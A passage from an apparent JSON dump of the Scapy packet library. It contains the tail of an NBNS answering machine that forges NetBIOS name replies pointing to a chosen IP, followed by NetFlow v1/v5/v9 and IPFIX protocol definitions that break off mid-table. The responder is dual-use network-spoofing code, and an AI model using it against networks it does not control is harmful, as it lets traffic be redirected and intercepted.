parse_options(self, server_name=None, from_ip=None, ip=None):\n        \"\"\"\n        NBNS answering machine\n\n        :param server_name: the netbios server name to match\n        :param from_ip: an IP (can have a netmask) to filter on\n        :param ip: the IP to answer with\n        \"\"\"\n        self.ServerName = bytes_encode(server_name or \"\")\n        self.ip = ip\n        if isinstance(from_ip, str):\n            self.from_ip = Net(from_ip)\n        else:\n            self.from_ip = from_ip\n\n    def is_request(self, req):\n        if self.from_ip and IP in req and req[IP].src not in self.from_ip:\n            return False\n        return NBNSQueryRequest in req and (\n            not self.ServerName or\n            req[NBNSQueryRequest].QUESTION_NAME.strip() == self.ServerName\n        )\n\n    def make_reply(self, req):\n        # type: (Packet) -> Packet\n        resp = Ether(\n            dst=req[Ether].src,\n            src=None if req[Ether].dst == \"ff:ff:ff:ff:ff:ff\" else req[Ether].dst,\n        ) / IP(dst=req[IP].src) / UDP(\n            sport=req.dport,\n            dport=req.sport,\n        )\n        address = self.ip or get_if_addr(self.optsniff.get(\"iface\", conf.iface))\n        resp /= NBNSHeader() / NBNSQueryResponse(\n            RR_NAME=self.ServerName or req.QUESTION_NAME,\n            SUFFIX=req.SUFFIX,\n            ADDR_ENTRY=[NBNS_ADD_ENTRY(NB_ADDRESS=address)]\n        )\n        resp.NAME_TRN_ID = req.NAME_TRN_ID\n        return resp\n"
  },
  {
    "path": "scapy/layers/netflow.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n# Netflow V5 appended by spaceB0x and Guillaume Valadon\n# Netflow V9/10 appended by Gabriel Potter\n\n\"\"\"\nCisco NetFlow protocol v1, v5, v9 and v10 (IPFix)\n\nHowTo dissect NetflowV9/10 (IPFix) packets\n\n# From a pcap / list of packets\n\nUsing sniff and sessions::\n\n    >>> sniff(offline=open(\"my_great_pcap.pcap\", \"rb\"), session=NetflowSession)\n\nUsing the netflowv9_defragment/ipfix_defragment commands:\n\n- get a list of packets containing NetflowV9/10 packets\n- call `netflowv9_defragment(plist)` to defragment the list\n\n(ipfix_defragment is an alias for netflowv9_defragment)\n\n# Live / on-the-flow / other: use NetflowSession::\n\n    >>> sniff(session=NetflowSession, prn=[...])\n\n.. note:: You will find more examples over\n    https://scapy.readthedocs.io/en/latest/layers/netflow.html\n\"\"\"\n\nimport dataclasses\nimport socket\nimport struct\n\nfrom collections import Counter\n\nfrom scapy.config import conf\nfrom scapy.data import IP_PROTOS\nfrom scapy.error import warning, Scapy_Exception\nfrom scapy.fields import (\n    BitEnumField,\n    BitField,\n    ByteEnumField,\n    ByteField,\n    ConditionalField,\n    Field,\n    FieldLenField,\n    FlagsField,\n    IntField,\n    IPField,\n    LongField,\n    MACField,\n    NBytesField,\n    PacketListField,\n    SecondsIntField,\n    ShortEnumField,\n    ShortField,\n    StrField,\n    StrFixedLenField,\n    StrLenField,\n    ThreeBytesField,\n    UTCTimeField,\n    XByteField,\n    XShortField,\n)\nfrom scapy.packet import Packet, bind_layers, bind_bottom_up\nfrom scapy.plist import PacketList\nfrom scapy.sessions import IPSession\n\nfrom scapy.layers.inet import UDP\nfrom scapy.layers.inet6 import IP6Field\n\n# Typing imports\nfrom typing import (\n    Any,\n    Dict,\n    Optional,\n)\n\n\nclass NetflowHeader(Packet):\n    name = \"Netflow Header\"\n    fields_desc = [ShortField(\"version\", 1)]\n\n\nfor port in [2055, 2056, 9995, 9996, 6343]:  # Classic NetFlow ports\n    bind_bottom_up(UDP, NetflowHeader, dport=port)\n    bind_bottom_up(UDP, NetflowHeader, sport=port)\n# However, we'll default to 2055, classic among classics :)\nbind_layers(UDP, NetflowHeader, dport=2055, sport=2055)\n\n###########################################\n# Netflow Version 1\n###########################################\n\n\nclass NetflowHeaderV1(Packet):\n    name = \"Netflow Header v1\"\n    fields_desc = [ShortField(\"count\", None),\n                   IntField(\"sysUptime\", 0),\n                   UTCTimeField(\"unixSecs\", 0),\n                   UTCTimeField(\"unixNanoSeconds\", 0, use_nano=True)]\n\n    def post_build(self, pkt, pay):\n        if self.count is None:\n            count = len(self.layers()) - 1\n            pkt = struct.pack(\"!H\", count) + pkt[2:]\n        return pkt + pay\n\n\nclass NetflowRecordV1(Packet):\n    name = \"Netflow Record v1\"\n    fields_desc = [IPField(\"ipsrc\", \"0.0.0.0\"),\n                   IPField(\"ipdst\", \"0.0.0.0\"),\n                   IPField(\"nexthop\", \"0.0.0.0\"),\n                   ShortField(\"inputIfIndex\", 0),\n                   ShortField(\"outpuIfIndex\", 0),\n                   IntField(\"dpkts\", 0),\n                   IntField(\"dbytes\", 0),\n                   IntField(\"starttime\", 0),\n                   IntField(\"endtime\", 0),\n                   ShortField(\"srcport\", 0),\n                   ShortField(\"dstport\", 0),\n                   ShortField(\"padding\", 0),\n                   ByteField(\"proto\", 0),\n                   ByteField(\"tos\", 0),\n                   IntField(\"padding1\", 0),\n                   IntField(\"padding2\", 0)]\n\n\nbind_layers(NetflowHeader, NetflowHeaderV1, version=1)\nbind_layers(NetflowHeaderV1, NetflowRecordV1)\nbind_layers(NetflowRecordV1, NetflowRecordV1)\n\n\n#########################################\n# Netflow Version 5\n#########################################\n\n\nclass NetflowHeaderV5(Packet):\n    name = \"Netflow Header v5\"\n    fields_desc = [ShortField(\"count\", None),\n                   IntField(\"sysUptime\", 0),\n                   UTCTimeField(\"unixSecs\", 0),\n                   UTCTimeField(\"unixNanoSeconds\", 0, use_nano=True),\n                   IntField(\"flowSequence\", 0),\n                   ByteField(\"engineType\", 0),\n                   ByteField(\"engineID\", 0),\n                   ShortField(\"samplingInterval\", 0)]\n\n    def post_build(self, pkt, pay):\n        if self.count is None:\n            count = len(self.layers()) - 1\n            pkt = struct.pack(\"!H\", count) + pkt[2:]\n        return pkt + pay\n\n\nclass NetflowRecordV5(Packet):\n    name = \"Netflow Record v5\"\n    fields_desc = [IPField(\"src\", \"127.0.0.1\"),\n                   IPField(\"dst\", \"127.0.0.1\"),\n                   IPField(\"nexthop\", \"0.0.0.0\"),\n                   ShortField(\"input\", 0),\n                   ShortField(\"output\", 0),\n                   IntField(\"dpkts\", 1),\n                   IntField(\"dOctets\", 60),\n                   IntField(\"first\", 0),\n                   IntField(\"last\", 0),\n                   ShortField(\"srcport\", 0),\n                   ShortField(\"dstport\", 0),\n                   ByteField(\"pad1\", 0),\n                   FlagsField(\"tcpFlags\", 0x2, 8, \"FSRPAUEC\"),\n                   ByteEnumField(\"prot\", socket.IPPROTO_TCP, IP_PROTOS),\n                   ByteField(\"tos\", 0),\n                   ShortField(\"src_as\", 0),\n                   ShortField(\"dst_as\", 0),\n                   ByteField(\"src_mask\", 0),\n                   ByteField(\"dst_mask\", 0),\n                   ShortField(\"pad2\", 0)]\n\n\nbind_layers(NetflowHeader, NetflowHeaderV5, version=5)\nbind_layers(NetflowHeaderV5, NetflowRecordV5)\nbind_layers(NetflowRecordV5, NetflowRecordV5)\n\n#########################################\n# Netflow Version 9/10\n#########################################\n\n# NetflowV9 RFC\n# https://www.ietf.org/rfc/rfc3954.txt\n\n# IPFix RFC\n# https://tools.ietf.org/html/rfc5101\n# https://tools.ietf.org/html/rfc5655\n\n\n@dataclasses.dataclass\nclass _N910F:\n    name: str\n    length: int = 0\n    field: Field = None\n    kwargs: Dict[str, Any] = dataclasses.field(default_factory=dict)\n    isint: bool = False\n\n\n# NetflowV9 Ready-made fields\n\nclass ShortOrInt(IntField):\n    def getfield(self, pkt, x):\n        if len(x) == 2:\n            Field.__init__(self, self.name, self.default, fmt=\"!H\")\n        return Field.getfield(self, pkt, x)\n\n\nclass _AdjustableNetflowField(IntField, LongField):\n    \"\"\"Fields that can receive a length kwarg, even though they normally can't.\n    Netflow usage only.\"\"\"\n    def __init__(self, name, default, length):\n        if length == 4:\n            IntField.__init__(self, name, default)\n            return\n        elif length == 8:\n            LongField.__init__(self, name, default)\n            return\n        LongField.__init__(self, name, default)\n\n\nclass N9SecondsIntField(SecondsIntField, _AdjustableNetflowField):\n    \"\"\"Defines dateTimeSeconds (without EPOCH: just seconds)\"\"\"\n    def __init__(self, name, default, *args, **kargs):\n        length = kargs.pop(\"length\", 8)\n        SecondsIntField.__init__(self, name, default, *args, **kargs)\n        _AdjustableNetflowField.__init__(\n            self, name, default, length\n        )\n\n\nclass N9UTCTimeField(UTCTimeField, _AdjustableNetflowField):\n    \"\"\"Defines dateTimeSeconds (EPOCH)\"\"\"\n    def __init__(self, name, default, *args, **kargs):\n        length = kargs.pop(\"length\", 8)\n        UTCTimeField.__init__(self, name, default, *args, **kargs)\n        _AdjustableNetflowField.__init__(\n            self, name, default, length\n        )\n\n# TODO: There are hundreds of entries to add to the following list :(\n# it's thus incomplete.\n# https://www.iana.org/assignments/ipfix/ipfix.xml\n# ==> feel free to contribute :D\n\n# XXX: we should probably switch the names below to IANA normalized ones.\n\n# This is v9_v10_template_types (with names from the rfc for the first 79)\n# https://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-netflow.c  # noqa: E501\n# (it has all values external to the RFC)\n\n\nNTOP_BASE = 57472\nNetflowV910TemplateFields = {\n    1: _N910F(\"IN_BYTES\", length=4,\n              isint=True),\n    2: _N910F(\"IN_PKTS\", length=4,\n              isint=True),\n    3: _N910F(\"FLOWS\", length=4),\n    4: _N910F(\"PROTOCOL\", length=1,\n              field=ByteEnumField, kwargs={\"enum\": IP_PROTOS}),\n    5: _N910F(\"TOS\", length=1,\n              field=XByteField),\n    6: _N910F(\"TCP_FLAGS\", length=1,\n              field=ByteField),\n    7: _N910F(\"L4_SRC_PORT\", length=2,\n              field=ShortField),\n    8: _N910F(\"IPV4_SRC_ADDR\", length=4,\n              field=IPField),\n    9: _N910F(\"SRC_MASK\", length=1,\n              field=ByteField),\n    10: _N910F(\"INPUT_SNMP\",\n               isint=True),\n    11: _N910F(\"L4_DST_PORT\", length=2,\n               field=ShortField),\n    12: _N910F(\"IPV4_DST_ADDR\", length=4,\n               field=IPField),\n    13: _N910F(\"DST_MASK\", length=1,\n               field=ByteField),\n    14: _N910F(\"OUTPUT_SNMP\",\n               isint=True),\n    15: _N910F(\"IPV4_NEXT_HOP\", length=4,\n               field=IPField),\n    16: _N910F(\"SRC_AS\", length=2,\n               field=ShortOrInt),\n    17: _N910F(\"DST_AS\", length=2,\n               field=ShortOrInt),\n    18: _N910F(\"BGP_IPV4_NEXT_HOP\", length=4,\n               field=IPField),\n    19: _N910F(\"MUL_DST_PKTS\", length=4,\n               isint=True),\n    20: _N910F(\"MUL_DST_BYTES\", length=4,\n               isint=True),\n    21: _N910F(\"LAST_SWITCHED\", length=4,\n               field=SecondsIntField,\n               kwargs={\"use_msec\": True}),\n    22: _N910F(\"FIRST_SWITCHED\", length=4,\n               field=SecondsIntField,\n               kwargs={\"use_msec\": True}),\n    23: _N910F(\"OUT_BYTES\", length=4,\n               isint=True),\n    24: _N910F(\"OUT_PKTS\", length=4,\n               isint=True),\n    25: _N910F(\"IP_LENGTH_MINIMUM\"),\n    26: _N910F(\"IP_LENGTH_MAXIMUM\"),\n    27: _N910F(\"IPV6_SRC_ADDR\", length=16,\n               field=IP6Field),\n    28: _N910F(\"IPV6_DST_ADDR\", length=16,\n               field=IP6Field),\n    29: _N910F(\"IPV6_SRC_MASK\", length=1,\n               field=ByteField),\n    30: _N910F(\"IPV6_DST_MASK\", length=1,\n               field=ByteField),\n    31: _N910F(\"IPV6_FLOW_LABEL\", length=3,\n               field=ThreeBytesField),\n    32: _N910F(\"ICMP_TYPE\", length=2,\n               field=XShortField),\n    33: _N910F(\"MUL_IGMP_TYPE\", length=1,\n               field=ByteField),\n    34: _N910F(\"SAMPLING_INTERVAL\", length=4,\n               field=IntField),\n    35: _N910F(\"SAMPLING_ALGORITHM\", length=1,\n               field=XByteField),\n    36: _N910F(\"FLOW_ACTIVE_TIMEOUT\", length=2,\n               field=ShortField),\n    37: _N910F(\"FLOW_INACTIVE_TIMEOUT\", length=2,\n               field=ShortField),\n    38: _N910F(\"ENGINE_TYPE\", length=1,\n               field=ByteField),\n    39: _N910F(\"ENGINE_ID\", length=1,\n               field=ByteField),\n    40: _N910F(\"TOTAL_BYTES_EXP\", length=4,\n               isint=True),\n    41: _N910F(\"TOTAL_PKTS_EXP\", length=4,\n               isint=True),\n    42: _N910F(\"TOTAL_FLOWS_EXP\", length=4,\n               isint=True),\n    43: _N910F(\"IPV4_ROUTER_SC\"),\n    44: _N910F(\"IP_SRC_PREFIX\"),\n    45: _N910F(\"IP_DST_PREFIX\"),\n    46: _N910F(\"MPLS_TOP_LABEL_TYPE\", length=1,\n               field=ByteEnumField,\n               kwargs={\"enum\": {\n                   0x00: \"UNKNOWN\",\n                   0x01: \"TE-MIDPT\",\n                   0x02: \"ATOM\",\n                   0x03: \"VPN\",\n                   0x04: \"BGP\",\n                   0x05: \"LDP\",\n               }}),\n    47: _N910F(\"MPLS_TOP_LABEL_IP_ADDR\", length=4,\n               field=IPField),\n    48: _N910F(\"FLOW_SAMPLER_ID\", length=4),  # from ERRATA\n    49: _N910F(\"FLOW_SAMPLER_MODE\", length=1,\n               field=ByteField),\n    50: _N910F(\"FLOW_SAMPLER_RANDOM_INTERVAL\", length=4,\n               field=IntField),\n    51: _N910F(\"FLOW_CLASS\"),\n    52: _N910F(\"MIN_TTL\"),\n    53: _N910F(\"MAX_TTL\"),\n    54: _N910F(\"IPV4_IDENT\"),\n    55: _N910F(\"DST_TOS\", length=1,\n               field=XByteField),\n    56: _N910F(\"SRC_MAC\", length=6,\n               field=MACField),\n    57: _N910F(\"DST_MAC\", length=6,\n               field=MACField),\n    58: _N910F(\"SRC_VLAN\", length=2,\n               field=ShortField),\n    59: _N910F(\"DST_VLAN\", length=2,\n               field=ShortField),\n    60: _N910F(\"IP_PROTOCOL_VERSION\", length=1,\n               field=ByteField),\n    61: _N910F(\"DIRECTION\", length=1,\n               field=ByteEnumField,\n               kwargs={\"enum\": {0x00: \"Ingress flow\", 0x01: \"Egress flow\"}}),\n    62: _N910F(\"IPV6_NEXT_HOP\", length=16,\n               field=IP6Field),\n    63: _N910F(\"BGP_IPV6_NEXT_HOP\", length=16,\n               field=IP6Field),\n    64: _N910F(\"IPV6_OPTION_HEADERS\", length=4),\n    70: _N910F(\"MPLS_LABEL_1\", length=3,\n               field=ThreeBytesField),\n    71: _N910F(\"MPLS_LABEL_2\", length=3,\n               field=ThreeBytesField),\n    72: _N910F(\"MPLS_LABEL_3\", length=3,\n               field=ThreeBytesField),\n    73: _N910F(\"MPLS_LABEL_4\", length=3,\n               field=ThreeBytesField),\n    74: _N910F(\"MPLS_LABEL_5\", length=3,\n               field=ThreeBytesField),\n    75: _N910F(\"MPLS_LABEL_6\", length=3,\n               field=ThreeBytesField),\n    76: _N910F(\"MPLS_LABEL_7\", length=3,\n               field=ThreeBytesField),\n    77: _N910F(\"MPLS_LABEL_8\", length=3,\n               field=ThreeBytesField),\n    78: _N910F(\"MPLS_LABEL_9\", length=3,\n               field=ThreeBytesField),\n    79: _N910F(\"MPLS_LABEL_10\", length=3,\n               field=ThreeBytesField),\n    80: _N910F(\"DESTINATION_MAC\"),\n    81: _N910F(\"SOURCE_MAC\"),\n    82: _N910F(\"IF_NAME\"),\n    83: _N910F(\"IF_DESC\"),\n    84: _N910F(\"SAMPLER_NAME\"),\n    85: _N910F(\"BYTES_TOTAL\"),\n    86: _N910F(\"PACKETS_TOTAL\"),\n    88: _N910F(\"FRAGMENT_OFFSET\"),\n    89: _N910F(\"FORWARDING_STATUS\"),\n    90: _N910F(\"VPN_ROUTE_DISTINGUISHER\"),\n    91: _N910F(\"mplsTopLabelPrefixLength\"),\n    92: _N910F(\"SRC_TRAFFIC_INDEX\"),\n    93: _N910F(\"DST_TRAFFIC_INDEX\"),\n    94: _N910F(\"APPLICATION_DESC\"),\n    95: _N910F(\"APPLICATION_ID\"),\n    96: _N910F(\"APPLICATION_NAME\"),\n    98: _N910F(\"postIpDiffServCodePoint\"),\n    99: _N910F(\"multicastReplicationFactor\"),\n    101: _N910F(\"classificationEngineId\"),\n    128: _N910F(\"DST_AS_PEER\"),\n    129: _N910F(\"SRC_AS_PEER\"),\n    130: _N910F(\"exporterIPv4Address\", length=4,\n                field=IPField),\n    131: _N910F(\"exporterIPv6Address\", length=16,\n                field=IP6Field),\n    132: _N910F(\"DROPPED_BYTES\"),\n    133: _N910F(\"DROPPED_PACKETS\"),\n    134: _N910F(\"DROPPED_BYTES_TOTAL\"),\n    135: _N910F(\"DROPPED_PACKETS_TOTAL\"),\n    136: _N910F(\"flowEndReason\"),\n    137: _N910F(\"commonPropertiesId\"),\n    138: _N910F(\"observationPointId\"),\n    139: _N910F(\"icmpTypeCodeIPv6\"),\n    140: _N910F(\"MPLS_TOP_LABEL_IPv6_ADDRESS\"),\n    141: _N910F(\"lineCardId\"),\n    142: _N910F(\"portId\"),\n    143: _N910F(\"meteringProcessId\"),\n    144: _N910F(\"FLOW_EXPORTER\"),\n    145: _N910F(\"templateId\"),\n    146: _N910F(\"wlanChannelId\"),\n    147: _N910F(\"wlanSSID\"),\n    148: _N910F(\"flowId\"),\n    149: _N910F(\"observationDomainId\"),\n    150: _N910F(\"flowStartSeconds\", length=8,\n                field=N9UTCTimeField),\n    151: _N910F(\"flowEndSeconds\", length=8,\n                field=N9UTCTimeField),\n    152: _N910F(\"flowStartMilliseconds\", length=8,\n                field=N9UTCTimeField,\n                kwargs={\"use_msec\": True}),\n    153: _N910F(\"flowEndMilliseconds\", length=8,\n                field=N9UTCTimeField,\n                kwargs={\"use_msec\": True}),\n    154: _N910F(\"flowStartMicroseconds\", length=8,\n                field=N9UTCTimeField,\n                kwargs={\"use_micro\": True}),\n    155: _N910F(\"flowEndMicroseconds\", length=8,\n                field=N9UTCTimeField,\n                kwargs={\"use_micro\": True}),\n    156: _N910F(\"flowStartNanoseconds\", length=8,\n                field=N9UTCTimeField,\n                kwargs={\"use_nano\": True}),\n    157: _N910F(\"flowEndNanoseconds\", length=8,\n                field=N9UTCTimeField,\n                kwargs={\"use_nano\": True}),\n    158: _N910F(\"flowStartDeltaMicroseconds\", length=8,\n                field=N9SecondsIntField,\n                kwargs={\"use_micro\": True}),\n    159: _N910F(\"flowEndDeltaMicroseconds\", length=8,\n                field=N9SecondsIntField,\n                kwargs={\"use_micro\": True}),\n    160: _N910F(\"systemInitTimeMilliseconds\", length=8,\n                field=N9UTCTimeField,\n                kwargs={\"use_msec\": True}),\n    161: _N910F(\"flowDurationMilliseconds\", length=8,\n                field=N9SecondsIntField,\n                kwargs={\"use_msec\": True}),\n    162: _N910F(\"flowDurationMicroseconds\", length=8,\n                field=N9SecondsIntField,\n                kwargs={\"use_micro\": True}),\n    163: _N910F(\"observedFlowTotalCount\"),\n    164: _N910F(\"ignoredPacketTotalCount\"),\n    165: _N910F(\"ignoredOctetTotalCount\"),\n    166: _N910F(\"notSentFlowTotalCount\"),\n    167: _N910F(\"notSentPacketTotalCount\"),\n    168: _N910F(\"notSentOctetTotalCount\"),\n    169: _N910F(\"destinationIPv6Prefix\"),\n    170: _N910F(\"sourceIPv6Prefix\"),\n    171: _N910F(\"postOctetTotalCount\"),\n    172: _N910F(\"postPacketTotalCount\"),\n    173: _N910F(\"flowKeyIndicator\"),\n    174: _N910F(\"postMCastPacketTotalCount\"),\n    175: _N910F(\"postMCastOctetTotalCount\"),\n    176: _N910F(\"ICMP_IPv4_TYPE\"),\n    177: _N910F(\"ICMP_IPv4_CODE\"),\n    178: _N910F(\"ICMP_IPv6_TYPE\"),\n    179: _N910F(\"ICMP_IPv6_CODE\"),\n    180: _N910F(\"UDP_SRC_PORT\"),\n    181: _N910F(\"UDP_DST_PORT\"),\n    182: _N910F(\"TCP_SRC_PORT\"),\n    183: _N910F(\"TCP_DST_PORT\"),\n    184: _N910F(\"TCP_SEQ_NUM\"),\n    185: _N910F(\"TCP_ACK_NUM\"),\n    186: _N910F(\"TCP_WINDOW_SIZE\"),\n    187: _N910F(\"TCP_URGENT_PTR\"),\n    188: _N910F(\"TCP_HEADER_LEN\"),\n    189: _N910F(\"IP_HEADER_LEN\"),\n    190: _N910F(\"IP_TOTAL_LEN\"),\n    191: _N910F(\"payloadLengthIPv6\"),\n    192: _N910F(\"IP_TTL\"),\n    193: _N910F(\"nextHeaderIPv6\"),\n    194: _N910F(\"mplsPayloadLength\"),\n    195: _N910F(\"IP_DSCP\", length=1,\n                field=XByteField),\n    196: _N910F(\"IP_PRECEDENCE\"),\n    197: _N910F(\"IP_FRAGMENT_FLAGS\"),\n    198: _N910F(\"DELTA_BYTES_SQUARED\"),\n    199: _N910F(\"TOTAL_BYTES_SQUARED\"),\n    200: _N910F(\"MPLS_TOP_LABEL_TTL\"),\n    201: _N910F(\"MPLS_LABEL_STACK_OCTETS\"),\n    202: _N910F(\"MPLS_LABEL_STACK_DEPTH\"),\n    203: _N910F(\"MPLS_TOP_LABEL_EXP\"),\n    204: _N910F(\"IP_PAYLOAD_LENGTH\"),\n    205: _N910F(\"UDP_LENGTH\"),\n    206: _N910F(\"IS_MULTICAST\"),\n    207: _N910F(\"IP_HEADER_WORDS\"),\n    208: _N910F(\"IP_OPTION_MAP\"),\n    209: _N910F(\"TCP_OPTION_MAP\"),\n    210: _N910F(\"paddingOctets\"),\n    211: _N910F(\"collectorIPv4Address\", length=4,\n                field=IPField),\n    212: _N910F(\"collectorIPv6Address\", length=16,\n                field=IP6Field),\n    213: _N910F(\"collectorInterface\"),\n    214: _N910F(\"collectorProtocolVersion\"),\n    215: _N910F(\"collectorTransportProtocol\"),\n    216: _N910F(\"collectorTransportPort\"),\n    217: _N910F(\"exporterTransportPort\"),\n    218: _N910F(\"tcpSynTotalCount\"),\n    219: _N910F(\"tcpFinTotalCount\"),\n    220: _N910F(\"tcpRstTotalCount\"),\n    221: _N910F(\"tcpPshTotalCount\"),\n    222: _N910F(\"tcpAckTotalCount\"),\n    223: _N910F(\"tcpUrgTotalCount\"),\n    224: _N910F(\"ipTotalLength\"),\n    225: _N910F(\"postNATSourceIPv4Address\", length=4,\n                field=IPField),\n    226: _N910F(\"postNATDestinationIPv4Address\", length=4,\n                field=IPField),\n    227: _N910F(\"postNAPTSourceTransportPort\"),\n    228: _N910F(\"postNAPTDestinationTransportPort\"),\n    229: _N910F(\"natOriginatingAddressRealm\"),\n    230: _N910F(\"natEvent\"),\n    231: _N910F(\"initiatorOctets\"),\n    232: _N910F(\"responderOctets\"),\n    233: _N910F(\"firewallEvent\"),\n    234: _N910F(\"ingressVRFID\"),\n    235: _N910F(\"egressVRFID\"),\n    236: _N910F(\"VRFname\"),\n    237: _N910F(\"postMplsTopLabelExp\"),\n    238: _N910F(\"tcpWindowScale\"),\n    239: _N910F(\"biflowDirection\"),\n    240: _N910F(\"ethernetHeaderLength\"),\n    241: _N910F(\"ethernetPayloadLength\"),\n    242: _N910F(\"ethernetTotalLength\"),\n    243: _N910F(\"dot1qVlanId\"),\n    244: _N910F(\"dot1qPriority\"),\n    245: _N910F(\"dot1qCustomerVlanId\"),\n    246: _N910F(\"dot1qCustomerPriority\"),\n    247: _N910F(\"metroEvcId\"),\n    248: _N910F(\"metroEvcType\"),\n    249: _N910F(\"pseudoWireId\"),\n    250: _N910F(\"pseudoWireType\"),\n    251: _N910F(\"pseudoWireControlWord\"),\n    252: _N910F(\"ingressPhysicalInterface\"),\n    253: _N910F(\"egressPhysicalInterface\"),\n    254: _N910F(\"postDot1qVlanId\"),\n    255: _N910F(\"postDot1qCustomerVlanId\"),\n    256: _N910F(\"ethernetType\"),\n    257: _N910F(\"postIpPrecedence\"),\n    258: _N910F(\"collectionTimeMilliseconds\", length=8,\n                field=N9SecondsIntField,\n                kwargs={\"use_msec\": True}),\n    259: _N910F(\"exportSctpStreamId\"),\n    260: _N910F(\"maxExportSeconds\", length=8,\n                field=N9SecondsIntField),\n    261: _N910F(\"maxFlowEndSeconds\", length=8,\n                field=N9SecondsIntField),\n    262: _N910F(\"messageMD5Checksum\"),\n    263: _N910F(\"messageScope\"),\n    264: _N910F(\"minExportSeconds\", length=8,\n                field=N9SecondsIntField),\n    265: _N910F(\"minFlowStartSeconds\", length=8,\n                field=N9SecondsIntField),\n    266: _N910F(\"opaqueOctets\"),\n    267: _N910F(\"sessionScope\"),\n    268: _N910F(\"maxFlowEndMicroseconds\", length=8,\n                field=N9UTCTimeField,\n                kwargs={\"use_micro\": True}),\n    269: _N910F(\"maxFlowEndMilliseconds\", length=8,\n                field=N9UTCTimeField,\n                kwargs={\"use_msec\": True}),\n    270: _N910F(\"maxFlowEndNanoseconds\", length=8,\n                field=N9UTCTimeField,\n                kwargs={\"use_nano\": True}),\n    271: _N910F(\"minFlowStartMicroseconds\", length=8,\n                field=N9UTCTimeField,\n                kwargs={\"use_micro\": True}),\n    272: _N910F(\"minFlowStartMilliseconds\", length=8,\n                field=N9UTCTimeField,\n                kwargs={\"use_msec\": True}),\n    273: _N910F(\"minFlowStartNanoseconds\", length=8,\n                field=N9UTCTimeField,\n                kwargs={\"use_nano\": True}),\n    274: _N910F(\"collectorCertificate\"),\n    275: _N910F(\"exporterCertificate\"),\n    276: _N910F(\"dataRecordsReliability\"),\n    277: _N910F(\"observationPointType\"),\n    278: _N910F(\"newConnectionDeltaCount\"),\n    279: _N910F(\"connectionSumDurationSeconds\", length=8,\n                field=N9SecondsIntField),\n    280: _N910F(\"connectionTransactionId\"),\n    281: _N910F(\"postNATSourceIPv6Address\", length=16,\n                field=IP6Field),\n    282: _N910F(\"postNATDestinationIPv6Address\", length=16,\n                field=IP6Field),\n    283: _N910F(\"natPoolId\"),\n    284: _N910F(\"natPoolName\"),\n    285: _N910F(\"anonymizationFlags\"),\n    286: _N910F(\"anonymizationTechnique\"),\n    287: _N910F(\"informationElementIndex\"),\n    288: _N910F(\"p2pTechnology\"),\n    289: _N910F(\"tunnelTechnology\"),\n    290: _N910F(\"encryptedTechnology\"),\n    291: _N910F(\"basicList\"),\n    292: _N910F(\"subTemplateList\"),\n    293: _N910F(\"subTemplateMultiList\"),\n    294: _N910F(\"bgpValidityState\"),\n    295: _N910F(\"IPSecSPI\"),\n    296: _N910F(\"greKey\"),\n    297: _N910F(\"natType\"),\n    298: _N910F(\"initiatorPackets\"),\n    299: _N910F(\"responderPackets\"),\n    300: _N910F(\"observationDomainName\"),\n    301: _N910F(\"selectionSequenceId\"),\n    302: _N910F(\"selectorId\"),\n    303: _N910F(\"informationElementId\"),\n    304: _N910F(\"selectorAlgorithm\"),\n    305: _N910F(\"samplingPacketInterval\"),\n    306: _N910F(\"samplingPacketSpace\"),\n    307: _N910F(\"samplingTimeInterval\"),\n    308: _N910F(\"samplingTimeSpace\"),\n    309: _N910F(\"samplingSize\"),\n    310: _N910F(\"samplingPopulation\"),\n    311: _N910F(\"samplingProbability\"),\n    312: _N910F(\"dataLinkFrameSize\"),\n    313: _N910F(\"IP_SECTION_HEADER\"),\n    314: _N910F(\"IP_SECTION_PAYLOAD\"),\n    315: _N910F(\"dataLinkFrameSection\"),\n    316: _N910F(\"mplsLabelStackSection\"),\n    317: _N910F(\"mplsPayloadPacketSection\"),\n    318: _N910F(\"selectorIdTotalPktsObserved\"),\n    319: _N910F(\"selectorIdTotalPktsSelected\"),\n    320: _N910F(\"absoluteError\"),\n    321: _N910F(\"relativeError\"),\n    322: _N910F(\"observationTimeSeconds\", length=8,\n                field=N9UTCTimeField),\n    323: _N910F(\"observationTimeMilliseconds\", length=8,\n                field=N9UTCTimeField,\n                kwargs={\"use_msec\": True}),\n    324: _N910F(\"observationTimeMicroseconds\", length=8,\n                field=N9UTCTimeField,\n                kwargs={\"use_micro\": True}),\n    325: _N910F(\"observationTimeNanoseconds\", length=8,\n                field=N9UTCTimeField,\n                kwargs={\"use_nano\": True}),\n    326: _N910F(\"digestHashValue\"),\n    327: _N910F(\"hashIPPayloadOffset\"),\n    328: _N910F(\"hashIPPayloadSize\"),\n    329: _N910F(\"hashOutputRangeMin\"),\n    330: _N910F(\"hashOutputRangeMax\"),\n    331: _N910F(\"hashSelectedRangeMin\"),\n    332: _N910F(\"hashSelectedRangeMax\"),\n    333: _N910F(\"hashDigestOutput\"),\n    334: _N910F(\"hashInitialiserValue\"),\n    335: _N910F(\"selectorName\"),\n    336: _N910F(\"upperCILimit\"),\n    337: _N910F(\"lowerCILimit\"),\n    338: _N910F(\"confidenceLevel\"),\n    339: _N910F(\"informationElementDataType\"),\n    340: _N910F(\"informationElementDescription\"),\n    341: _N910F(\"informationElementName\"),\n    342: _N910F(\"informationElementRangeBegin\"),\n    343: _N910F(\"informationElementRangeEnd\"),\n    344: _N910F(\"informationElementSemantics\"),\n    345: _N910F(\"informationElementUnits\"),\n    346: _N910F(\"privateEnterpriseNumber\"),\n    347: _N910F(\"virtualStationInterfaceId\"),\n    348: _N910F(\"virtualStationInterfaceName\"),\n    349: _N910F(\"virtualStationUUID\"),\n    350: _N910F(\"virtualStationName\"),\n    351: _N910F(\"layer2SegmentId\"),\n    352: _N910F(\"layer2OctetDeltaCount\"),\n    353: _N910F(\"layer2OctetTotalCount\"),\n    354: _N910F(\"ingressUnicastPacketTotalCount\"),\n    355: _N910F(\"ingressMulticastPacketTotalCount\"),\n    356: _N910F(\"ingressBroadcastPacketTotalCount\"),\n    357: _N910F(\"egressUnicastPacketTotalCount\"),\n    358: _N910F(\"egressBroadcastPacketTotalCount\"),\n    359: _N910F(\"monitoringIntervalStartMilliSeconds\"),\n    360: _N910F(\"monitoringIntervalEndMilliSeconds\"),\n    361: _N910F(\"portRangeStart\"),\n    362: _N910F(\"portRangeEnd\"),\n    363: _N910F(\"portRangeStepSize\"),\n    364: _N910F(\"portRangeNumPorts\"),\n    365: 